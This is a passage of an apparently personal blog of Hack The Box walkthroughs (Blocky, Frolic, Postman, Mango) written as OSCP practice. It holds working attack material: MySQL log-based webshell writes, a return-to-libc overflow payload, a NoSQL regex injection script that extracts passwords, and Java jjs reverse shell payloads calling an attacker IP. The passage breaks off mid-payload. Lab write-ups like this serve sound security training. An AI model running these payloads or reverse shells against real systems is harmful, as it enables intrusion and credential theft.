phpMyAdmin.\nThere are many ways to get RCE from the backend.\nWriting files was banned.\n1 2 3 show variables like \u0026#39;%general%\u0026#39;;\t--Check the configuration, whether logging is enabled, and the default MySQL log path; save the original path for restoration set global general_log = on;\t--Enable logging, which is disabled by default; leaving it enabled can create a very large file set global general_log_file = \u0026#39;/var/www/html/info.php\u0026#39;;\t--Set the log path This method could still write, but the absolute path was always wrong. I then spent a long time trying to find the absolute path.\nEventually I ran out of options and suddenly realized that if phpMyAdmin couldn\u0026rsquo;t write a shell, I could use the WordPress backend to find the absolute path—or simply get a shell through the backend itself.\nChange the first field to md5 and put the password in the second.\nIt automatically generates a salted password. I generated this one from password:\n$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1\nIt can be used directly to log in as Notch/password.\nThe template could be edited directly. I constructed the URL and got a reverse shell.\nhttp://blocky.htb/wp-content/themes/twentyseventeen/front-page.php\nOnce I was in, the first thing I did was check the absolute path. This was the path I had entered from the beginning, so why couldn\u0026rsquo;t SQL write to it?\nIt was obvious now: the web directory didn\u0026rsquo;t grant write permission to other users, so naturally it couldn\u0026rsquo;t write there.\nTime for privilege escalation and information gathering.\nThere was a user named notch. I had deleted its password from the database. If that password could be cracked, perhaps I could su to it here.\nNothing was certain, so I checked each possibility. sudo was unusable for now because it required a password.\nThis kernel looked very familiar. I uploaded an exploit script directly.\nDone. It was conventional penetration testing all the way through, with no unexpected services or anything else.\nI did fall into quite a few traps, though, which wasted a lot of time. I need to pick up the pace.\n17.Frolic Information gathering:\nThere was nothing on SMB.\nPort 1880:\nThere was nothing there, and directory brute-forcing only returned 401. I then guessed the password correctly: admin/password, sent to the /auth/token endpoint.\nRequesting it directly returned nothing.\nAfter modifying the request, it returned 401. I couldn\u0026rsquo;t find anything else in Node-RED. These were the directory brute-force results.\nPort 9999:\n/admin used client-side validation.\nThis is what appears after a successful login.\n/test is phpinfo.\nhttp://10.10.10.111:9999/backup/\nThis directory contains three things: user.txt, password.txt, and the /loop directory.\nThe credentials from user/password were admin/imnothuman.\nI couldn\u0026rsquo;t find a use for them.\nThe other directories, /loop and /dev, both returned 403.\nThere was also UDP port 137. I searched for and tried a PoC, but it had no effect.\nI brute-forced both 403 directories because I hadn\u0026rsquo;t enabled recursion.\nI found a directory and accessed it successfully, but none of the passwords I had obtained could log in.\nThere were lots of exploits, so this was probably the real entry point. However, I didn\u0026rsquo;t know the version. I could either try every exploit or look for the version.\nI deliberately downloaded a version from GitHub to compare.\nEvery directory\u0026rsquo;s index.html was empty, so I couldn\u0026rsquo;t find the version number.\nThen let\u0026rsquo;s just try exploits, following this tutorial: https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90\nhttp://10.10.10.111:9999/playsms/index.php?app=main\u0026amp;inc=core_auth\u0026amp;route=register\nRegistration is available here.\nI was banned, but at least I now knew the directory structure. Surely I wasn\u0026rsquo;t expected to discover a new vulnerability; this should still be exploitable with an n-day.\nI\u0026rsquo;ll summarize them in reverse order.\n48199.txt requires a login and is Metasploit code.\n42038.txt requires logging in as a normal user, but we already tried and couldn\u0026rsquo;t register.\n44599.rb is a Metasploit script, so I skipped it.\n42044.txt only requires a normal user login and says registration is possible, but we couldn\u0026rsquo;t register.\n42003.txt also requires a normal user login.\nThe path in 17792.txt didn\u0026rsquo;t exist on the site or in my source-tree copy. This basically confirmed that the target\u0026rsquo;s version was newer than the one targeted by 17792.txt, meaning newer than 0.9.9.2.\nNone of the bundled exploits worked.\nI searched Google and looked for default credentials.\nSeveral PoCs failed, and the default admin:admin credentials didn\u0026rsquo;t work.\nAt this point I suspected it was another dead end like the earlier ones, with no use at all.\nIn the end, this was the only directory I found.\nI still hadn\u0026rsquo;t tried SSH, so I went back to test it, but that also failed.\nI tried all three passwords against Samba as well, but none worked, and there were no other shares to connect to.\nDirectory brute-forcing gave another result: loop seemed to repeat through many levels, so I kept appending loop to the path.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests headers = { \u0026#39;Host\u0026#39;: \u0026#39;10.10.10.111:9999\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;en-US,en;q=0.5\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;close\u0026#39;, \u0026#39;Cookie\u0026#39;: \u0026#39;PHPSESSID=gqpklpimfs5kh12tddv3gjgs06\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39; } i = 1 url = \u0026#34;http://10.10.10.111:9999/loop\u0026#34; response = requests.get(url=url,headers=headers) while response.status_code == 403: url += \u0026#34;/loop\u0026#34; response = requests.get(url=url, headers=headers) i += 1 print(i,response.status_code,url) print(response.status_code) print(response.text) print(url) The 42nd level finally returned something. Although the response was 404, I could continue brute-forcing it.\nI continued brute-forcing the final loop directory. I suddenly had another idea: with this many pages, something had to be hidden in the source or JavaScript files, so I continued digging through them.\nThis endpoint also had a CSRF token that could be brute-forced, though that would require another script.\nThere was a hint at the very bottom.\nMalay.\nI went through everything. The only hidden content was the material above.\nI had explored everything I could, except the incomprehensible encrypted content in succes.html from the beginning.\nAt this point I was 100% sure it had to be examined, so I started Googling.\nI pasted all of the following into Google and got a result:\n\u0026hellip;.. \u0026hellip;.. \u0026hellip;.. .!?!! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.. \u0026hellip;?. ?!.?. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. ..!.? \u0026hellip;.. \u0026hellip;.. .!?!! .?\u0026hellip; \u0026hellip;.. ..?.? !.?.. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.! \u0026hellip;.. \u0026hellip;.. .!.?. \u0026hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !\u0026hellip;! \u0026hellip;.. \u0026hellip;.. .!.!! !!!!! !!!!! !!!.? \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.. \u0026hellip;.! ?!!.? \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. .?.?! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.. \u0026hellip;!. !!!!! !!.?. \u0026hellip;.. .!?!! .?\u0026hellip; \u0026hellip;?. ?!.?. \u0026hellip;.. ..!.? \u0026hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?\u0026hellip;. \u0026hellip;.. \u0026hellip;.. \u0026hellip;!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. .!?!! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.. \u0026hellip;?. ?!.?. \u0026hellip;.. !\u0026hellip;. \u0026hellip;.. ..!.! !!!!! !.!!! !!\u0026hellip; \u0026hellip;.. \u0026hellip;.. \u0026hellip;.! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.. \u0026hellip;.! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?\u0026hellip; \u0026hellip;.! ?!!.? \u0026hellip;.. .?.?! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.! .?\u0026hellip; \u0026hellip;.. \u0026hellip;.. ..!?! !.?.. \u0026hellip;.. \u0026hellip;.. ..?.? !.?.. !.?.. \u0026hellip;.. ..!?! !.?.. \u0026hellip;.. .?.?! .?\u0026hellip; .!.?. \u0026hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!\u0026hellip; \u0026hellip;.. \u0026hellip;!. ?\u0026hellip;. \u0026hellip;.. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? \u0026hellip;.. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !\u0026hellip;. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. !.!.? \u0026hellip;.. \u0026hellip;.. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. \u0026hellip;.. \u0026hellip;.! ?!!.? \u0026hellip;.. \u0026hellip;.. ?.?!. ?\u0026hellip;. \u0026hellip;.. \u0026hellip;.. ..!.. \u0026hellip;.. \u0026hellip;.. .!.?. \u0026hellip;.. \u0026hellip;!? !!.?! !!!!! !!?.? !.?!! !!!.? \u0026hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. \u0026hellip;.. \u0026hellip;!? !!.?. \u0026hellip;.. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. \u0026hellip;.. ..!?! !.?.. \u0026hellip;.. .?.?! .?\u0026hellip; .!.?. \u0026hellip;.. \u0026hellip;.. \u0026hellip;.. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! \u0026hellip;.. ..!.! !!!!! !.?.\n1 Nothing here check /asdiSIAJJ0QWE9JAS Found it.\nIt was a ZIP file. An ordinary file couldn\u0026rsquo;t begin with PK, whereas every ZIP file does.\nI tried every password I had obtained.\nThe final password was password.\nIt decoded to this:\n+++++ +++++ [-\u0026gt;++ +++++ +++\u0026lt;] \u0026gt;++++ +.\u0026mdash; \u0026ndash;.++ +++++ .\u0026lt;+\n++ [-\u0026gt;++ +\u0026lt;]\u0026gt;+\n++.\u0026lt;+ ++[-\u0026gt; \u0026mdash;\u0026lt;] \u0026gt;\u0026mdash;- \u0026ndash;.\u0026ndash; \u0026mdash;\u0026ndash; .\u0026lt;+++\n+[-\u0026gt;+ +++\u0026lt;] \u0026gt;+++. \u0026lt;+++[ -\u0026gt;\u0026mdash;\n\u0026lt;]\u0026gt;\u0026ndash; .\u0026lt;+++ [-\u0026gt;++ +\u0026lt;]\u0026gt;+ .\u0026ndash;\n-. \u0026lt;+++[ -\u0026gt;\u0026mdash; \u0026lt;]\u0026gt;\u0026ndash; \u0026mdash;-. \u0026lt;++++ [-\u0026gt;++ ++\u0026lt;]\u0026gt;\n++..\u0026lt;\nI had learned my lesson this time and pasted it straight into Google.\nThe default account was admin, and I successfully logged in.\nhttps://www.exploit-db.com/exploits/42044\nAn automated script for 42044:\nhttps://github.com/jasperla/CVE-2017-9101\nIt gets a shell directly.\nTime for privilege escalation.\nDatabase root privileges.\n44298.c matched perfectly, so I uploaded it directly.\nIt failed because the target was 32-bit. Compiling it for 32-bit should fix it.\ngcc 44298.c -m32 -static -o 44298\nWell, even after compiling it for 32-bit, it still failed.\nAfter several attempts, I confirmed this exploit simply wouldn\u0026rsquo;t work.\nIt says \u0026lt;, but it still doesn\u0026rsquo;t work.\nThere was a settings.js file under /home/sahay/.node-red; its password cracked to password.\nNode-RED was running as sahay, so compromising Node-RED would directly grant sahay privileges. I continued looking.\nI checked these files one by one and found nothing. I could only return to the home directories.\nI saw something interesting: there were two public keys above. But to connect, I needed a private key; the public keys were completely useless to me.\nThe two files were identical.\nContinuing through the home directory, I found this:\nIt had the SUID bit.\nIt was an ELF binary. Running it briefly produced this prompt:\nIt repeats whatever you say. This clearly required reverse engineering. I can read some C/C++ code, but I really haven\u0026rsquo;t learned reverse-engineering assembly.\n\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;- Here I learned that a buffer-overflow technique was required. So far, I had only determined this:\nIt could accept at most aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, or 49 characters.\nI\u0026rsquo;ll leave this part unfinished for now and return after learning buffer overflows.\nThis was the second day on this box. OSCP buffer overflows seem fairly basic, and after studying the fundamentals for a day, I understood them.\nI found the rop program again and started analyzing it.\nThe first setuid pushes a 0, meaning root privileges.\nThe second location calls the vuln function, passing an eax argument that is ultimately assigned to vuln.\nNone of that really matters. Our main goal is to locate EIP.\nPass an argument directly.\nUse 52 letters to identify the position. You can of course use more characters, as long as they differ.\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n52 characters caused an error, but the pointer actually landed at 0x08048400, the deregister_tm_clones function.\nWhen 4 filler characters were added after those 52 characters, this happened:\nI added 4 characters, all 1s, and their hexadecimal ASCII value appeared. That showed us where EIP was.\nNext, locate the target\u0026rsquo;s dynamic-link library.\nRecord the address: 0xb7e19000.\nWe need two functions here, system and exit, to execute a system command and exit the process.\nWe also need the address of the /bin/sh string.\nww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep \u0026quot; system\u0026quot;\n\u0026lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep \u0026quot; system\u0026quot;\n1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0\nwww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep \u0026quot; exit\u0026quot;\n\u0026lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep \u0026quot; exit\u0026quot;\n141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0\nwww-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep \u0026ldquo;/bin/sh\u0026rdquo;\n\u0026lt;/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep \u0026ldquo;/bin/sh\u0026rdquo;\n15ba0b /bin/sh\nWith the offsets found, just add them using a calculator.\n0xB7E53DA0\n0xB7E479D0\n0xB7F74A0B\nx86 uses little-endian byte order, so the bytes must be reversed.\n\\xa0\\x3d\\xe5\\xb7\n\\xd0\\x79\\xe4\\xb7\n\\x0b\\x4a\\xf7\\xb7\nWrite them in recognizable hexadecimal form and concatenate the payload.\n./rop $(echo -e \u0026ldquo;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\xa0\\x3d\\xe5\\xb7\\xd0\\x79\\xe4\\xb7\\x0b\\x4a\\xf7\\xb7\u0026rdquo;)\nExecuting it completed the box. This one taught me some basic buffer-overflow techniques, which was quite useful. Going deeper still seems difficult, but I\u0026rsquo;ll look for more buffer-overflow boxes to study later.\n18.Postman I\u0026rsquo;ll just give the results again.\nPort 22 revealed no information.\nPort 80 revealed the domain postman.htb, but nothing else. I started directory brute-forcing.\nI focused on Redis on port 6379. It allowed unauthenticated access and was version 4.0.9. Writing a shell failed due to insufficient permissions; writing a scheduled task failed for the same reason; writing a public key also failed for the same reason.\nIn other words, it could write files, but lacked permission in many directories. I could try writing a public key into a home directory, but I didn\u0026rsquo;t know what users existed, so I left that possibility open.\nThere was also a master-replica technique, but that couldn\u0026rsquo;t be exploited either.\nPort 10000 ran MiniServ 1.910 (Webmin httpd). Kali\u0026rsquo;s search found nothing for this version, but Google did, and the version matched exactly.\nThe prerequisite was a password.\nMy conclusion so far was that port 22 had no vulnerability. Port 6379 could write files, but not anything that would get a shell; other files could be written without a problem.\nPorts 80 and 10000 were the main focus. I searched for UDP port 10000 and found this:\nNDMP (Network Data Management Protocol) is a protocol designed specifically for data-backup systems on NAS devices.\nHowever, NDMP uses TCP port 10000, not UDP. This was still worth noting.\nFor now, I brute-forced ports 80 and 10000. The highest priority was finding the password for port 10000 so I could use the exploit.\nI found something interesting. Accessing it without http produced an error, while using https made it hang briefly. At first I thought a redirect was hanging, but now it looked like the backup file was the cause.\nThis field changed with the domain in the request. It definitely looked exploitable to me, but I didn\u0026rsquo;t have many ideas.\nUDP port 10000 was reachable.\nI tried to find client software for this service and connect with it.\nI searched for a long time without finding anything. It seemed to be some kind of NetApp daemon. I couldn\u0026rsquo;t get any information at all, and connecting with nc provided nothing useful.\nThe previous result was a false positive. This was actually still Webmin.\nI had no other options. The framework on port 10000 was currently the clearest lead, so I searched for more PoCs, but still got nowhere.\nI went back over everything. Redis on port 6379 still felt like a dead end, but for thoroughness I searched for version-specific vulnerabilities and found another exploit matching the version.\nhttps://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa\nThe script wouldn\u0026rsquo;t run and was a little troublesome, but the code was easy enough to read.\nThis was actually all that was needed.\nConnected successfully.\nTime for privilege-escalation enumeration. The key points were fairly easy to find thanks to LinEnum.sh.\nThe encrypted value above was obvious, so I passed it straight to John.\nThe connection was closed immediately.\nI tried connecting locally from the target, but even that failed.\nVery strange. I could only inspect the SSH configuration.\nLogin was disabled.\nThe key\u0026rsquo;s passphrase was actually the account password. I switched users successfully.\nContinuing privilege escalation, I found several interesting files.\nThis was actually running as root. In other words, we couldn\u0026rsquo;t get in without its password, but if we found the password, exploiting it would grant root privileges. The password was probably all that remained, because I had searched many files and tried many things without finding another escalation path.\nWe couldn\u0026rsquo;t read most of that directory, so I used find to inspect it.\nThere was nothing after reading it all. I could only Google where its password file was stored.\n/etc/webmin/miniserv.users\nBut that file was inaccessible.\n/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456\nThis command could change it, but I didn\u0026rsquo;t have permission.\nWhile searching, I found this. We currently had Matt\u0026rsquo;s password, so let\u0026rsquo;s try logging in.\nIt actually worked. Whenever credentials successfully log in somewhere, try credential reuse against the other services.\nNot noticing that immediately wasted a lot of my time.\nhttps://github.com/roughiz/Webmin-1.910-Exploit-Script\nThe code needed a small change. I didn\u0026rsquo;t have the termcolor package, and it wasn\u0026rsquo;t important anyway.\nDone. I had been blindly overconfident about Redis here. First, I didn\u0026rsquo;t try an exploit specifically targeting version 4.0.9. Second, I noticed many things but failed to try the most important one: credential reuse.\nEverything else was fine.\n19.Mango Information gathering:\nThere was only one page. Port 22 had nothing, port 80 returned 403, and HTTPS on port 443 served this page. I couldn\u0026rsquo;t find anything hidden.\nSearching for the page returned no results, and I didn\u0026rsquo;t know what that endpoint was doing.\nnmap didn\u0026rsquo;t identify the framework, and neither did WhatWeb\u0026rsquo;s fingerprints.\nBut its title was mango search base, so I could check whether that was a framework.\nThe versions were all different. I decided to try a few.\nAs I started testing, I noticed that directory brute-forcing had returned something.\nIt was 390,000 bytes. It existed on the home page, but at the time I saw nothing in it and ignored it. That was a mistake in my process.\nThis counted as an error. If the directory wordlist hadn\u0026rsquo;t included it, I would have wasted much more time. Let\u0026rsquo;s inspect it again.\nMany JavaScript calls failed because they were all remote calls.\nThere was lots of data here, but it couldn\u0026rsquo;t be loaded, so the page displayed nothing. I prefer analyzing JavaScript in Chrome; Firefox is too awkward to use.\nAfter accessing it, I found that the JavaScript here somehow worked, even though it was exactly the same request.\nI started looking for endpoints on the current page. After a long time, it seemed to be implemented entirely in JavaScript—or perhaps I simply failed to find an endpoint.\nI did find something in index.php: adding any parameter after index.php always produced a response like this. It wasn\u0026rsquo;t useful.\nBut the SSL certificate actually contained more information.\nSure enough, the outer site had nothing, but this one did. Time to brute-force it.\nAfter trying for ages and finding nothing, I had to read a write-up for the next step. It explained that mongo referred to MongoDB on the backend, and that we needed to exploit NoSQL injection. When an image, domain name, or anything else provides an obvious hint, remember to Google it and look for a matching vulnerability.\nWhen I searched for mongo, the results kept showing MongoDB, but I assumed they were unrelated. It turned out NoSQL was involved too. Another lesson learned.\nOnce I knew the entry point, I started testing.\nhttps://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6\nI could get in, but it said access was denied. I checked whether I could write a shell, but it didn\u0026rsquo;t seem able to write files.\nLogging in didn\u0026rsquo;t work either, leaving only one approach: since injection existed, we needed to extract the password and try credential reuse. This was very similar to the previous box.\nHowever, OSCP almost entirely prohibits automated penetration-testing scripts, and one-click NoSQL injection tools didn\u0026rsquo;t seem to be allowed. I had to learn NoSQL syntax from scratch here.\nAfter a little over 1 hour of crash-course study, I found the target technique here:\nhttps://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2\nThe [$regex] function provides functionality much like substr.\nIts usage is shown here and looks straightforward. We only need a character set.\nThe character set is string.printable. Remove the unwanted characters from that set, then iterate through the rest one by one. A successful login returns 302.\nThis relied almost entirely on that article, but there was still a drawback: we couldn\u0026rsquo;t discover the username. admin was the default, but I didn\u0026rsquo;t believe it was the only user.\nLet\u0026rsquo;s extract the admin password first.\nThe admin password has 12 characters. Payload:\nusername=admin\u0026amp;password[$regex]=.{§1§}\u0026amp;login=login\nI continued learning MongoDB and NoSQL injection syntax and found a crucial point.\nusername[$regex]=^a.*\u0026amp;password[$ne]=1\u0026amp;login=login\nThe line above is the payload. The linked article described a statement for brute-forcing password, and the same approach works for username.\nConstructing username[$regex]=^a.* creates a regular expression that returns a result if a username beginning with a exists. This resembles the a* enumeration vulnerabilities I encountered before: a*, ad*, adm*, admi*, and so on.\nThis lets us brute-force usernames, but there is another prerequisite: even if the username is correct, we don\u0026rsquo;t have the corresponding account password. Adding the earlier wildcard condition password[$ne]=1 lets us construct a PoC.\nPoC logic: first brute-force the username by iterating over every character. If a exists, add it to the list by itself, then brute-force the following character. Whenever a different response appears, append that character. On the second pass, try (a) plus every character, and continue appending whenever a different response appears. If the nth pass over all characters returns nothing, the complete username has been extracted. A 302 response is the indicator of a successful login.\nThe same code can be reused to brute-force passwords; the logic is identical.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 import requests import string url = \u0026#34;http://staging-order.mango.htb/\u0026#34; headers = { \u0026#39;Host\u0026#39;: \u0026#39;staging-order.mango.htb\u0026#39;, \u0026#39;Content-Length\u0026#39;: \u0026#39;49\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;max-age=0\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;Origin\u0026#39;: \u0026#39;http://staging-order.mango.htb\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;http://staging-order.mango.htb/\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;en-US,en;q=0.9\u0026#39;, \u0026#39;Cookie\u0026#39;: \u0026#39;PHPSESSID=qspndr7i6msn9e8eamalqjadh7\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;close\u0026#39; } # data = \u0026#39;username[$regex]=^a.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#39; # # print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code) list_username = [] flag = True # #Username # while True: # if list_username != [] and len(list_username) \u0026gt;= 1 and flag: # flag = False # # post_data_2 = \u0026#34;username[$regex]=^.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#34; # for i in range(0, len(list_username)): # for c in string.printable: # if c not in [\u0026#39;*\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;.\u0026#39;, \u0026#39;?\u0026#39;, \u0026#39;|\u0026#39;, \u0026#39;#\u0026#39;, \u0026#39;\u0026amp;\u0026#39;, \u0026#39;$\u0026#39;, \u0026#39;\\\\\u0026#39;,\u0026#39;^\u0026#39;]: # post_data_1 = f\u0026#34;username[$regex]=^{list_username[i]+c}.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#34; # response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False) # print(post_data_1) # print(c, response.status_code) # if response.status_code == 302: # list_username[i] = list_username[i]+c # flag = True # # print(list_username) # # elif flag == False: # print(\u0026#34;result:\u0026#34;,list_username) # break # # exit() # # # else: # for c in string.printable: # if c not in [\u0026#39;*\u0026#39;, \u0026#39;+\u0026#39;, \u0026#39;.\u0026#39;, \u0026#39;?\u0026#39;, \u0026#39;|\u0026#39;, \u0026#39;#\u0026#39;, \u0026#39;\u0026amp;\u0026#39;, \u0026#39;$\u0026#39;, \u0026#39;\\\\\u0026#39;,\u0026#39;^\u0026#39;]: # post_data_1 = f\u0026#34;username[$regex]=^{c}.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#34; # # post_data_2 = \u0026#34;username[$regex]=^.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#34; # response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False) # print(post_data_1) # print(c,response.status_code) # if response.status_code == 302: # list_username.append(c) # # print(list_username) print_list = [] # The two approaches do not conflict; uncommenting the code above still works list_username = [\u0026#39;admin\u0026#39;, \u0026#39;mango\u0026#39;] # Enter usernames here, or comment out this line to use the results above # Password for user in list_username: flag = True list_password = \u0026#39;\u0026#39; while True: if list_password != [] and len(list_password) \u0026gt;= 1 and flag: flag = False # post_data_2 = \u0026#34;username[$regex]=^.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#34; for c in string.printable: if c not in [\u0026#34;*\u0026#34;, \u0026#34;+\u0026#34;, \u0026#34;.\u0026#34;, \u0026#34;?\u0026#34;, \u0026#34;|\u0026#34;, \u0026#34;\\\\\u0026#34;, \u0026#34;\\b\u0026#34;, \u0026#34;\u0026amp;\u0026#34;,\u0026#34;$\u0026#34;]: post_data_1 = f\u0026#34;username={user}\u0026amp;password[$regex]=^{list_password + c}.*\u0026amp;login=login\u0026#34; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False) print(post_data_1) print(c, response.status_code) if response.status_code == 302: list_password += c flag = True break print(list_password) elif flag == False: print(\u0026#34;result:\u0026#34;, list_password) print_list.append(list_password) break # exit() else: for c in string.printable: if c not in [\u0026#34;*\u0026#34;, \u0026#34;+\u0026#34;, \u0026#34;.\u0026#34;, \u0026#34;?\u0026#34;, \u0026#34;|\u0026#34;, \u0026#34;\\\\\u0026#34;, \u0026#34;\\b\u0026#34;, \u0026#34;\u0026amp;\u0026#34;,\u0026#34;$\u0026#34;]: post_data_1 = f\u0026#34;username={user}\u0026amp;password[$regex]=^{c}.*\u0026amp;login=login\u0026#34; # post_data_2 = \u0026#34;username[$regex]=^.*\u0026amp;password[$ne]=1\u0026amp;login=login\u0026#34; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False) print(post_data_1) print(c, response.status_code) if response.status_code == 302: list_password += c break print(list_password) print(print_list) It was indeed a little slow. I hadn\u0026rsquo;t considered multithreading. The script probably still needed optimization, but those details weren\u0026rsquo;t important here.\nusername\nI hadn\u0026rsquo;t deduplicated the results, but the password came out. It had the same length I measured manually: 16 characters.\nCredential reuse worked for mango, and I logged in over SSH.\nTime for privilege escalation.\nMost likely I needed to move laterally to admin and then run this to escalate to root.\nThe script provided that hint as well, but we weren\u0026rsquo;t admin.\nUsing su with the password from earlier got me in. SSH was probably disabled in sshconfig.\nThis was a classic reverse-shell script: start a ProcessBuilder thread, connect back with a Socket, define input streams, and use an infinite loop to send commands and return their output.\nThe problem was that I had never used jjs. I Googled how to exploit it.\nWhat I learned was that it can execute Java code directly.\nJava.type(\u0026lsquo;java.lang.Runtime\u0026rsquo;).getRuntime().exec(\u0026rsquo;/bin/sh -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.13/9999 0\u0026gt;\u0026amp;1\u0026rsquo;)\nThe process started but reported no input, and I received no shell. The examples below came with it; the versions with modified arguments were my own tests, but none of them returned a shell.\n1 2 3 4 5 6 7 8 9 10 11 Java.type(\u0026#39;java.lang.Runtime\u0026#39;).getRuntime().exec(\u0026#39;/bin/sh -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.13/9999\u0026#39;) var host= \u0026#34;10.10.16.13\u0026#34;; var port= \u0026#34;9999\u0026#34;; var ProcessBuilder = Java.type(\u0026#34;java.lang.ProcessBuilder\u0026#34;); var p=new ProcessBuilder(\u0026#34;/bin/bash\u0026#34;, \u0026#34;-i\u0026#34;).redirectErrorStream(true).start(); var Socket = Java.type(\u0026#34;java.net.Socket\u0026#34;); var s=new Socket(\u0026#34;10.10.16.13\u0026#34;,\u0026#34;9999\u0026#34;); var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()\u0026gt;0)so.write(pi.read()); while(pe.available()\u0026gt;0)so.write(pe.read()); while(si.available()\u0026gt;0)po.write(si.read()); so.flush();po.flush(); Java.type(\u0026#34;java.lang.Thread\u0026#34;).sleep(50); try {p.exitValue();break;}catch 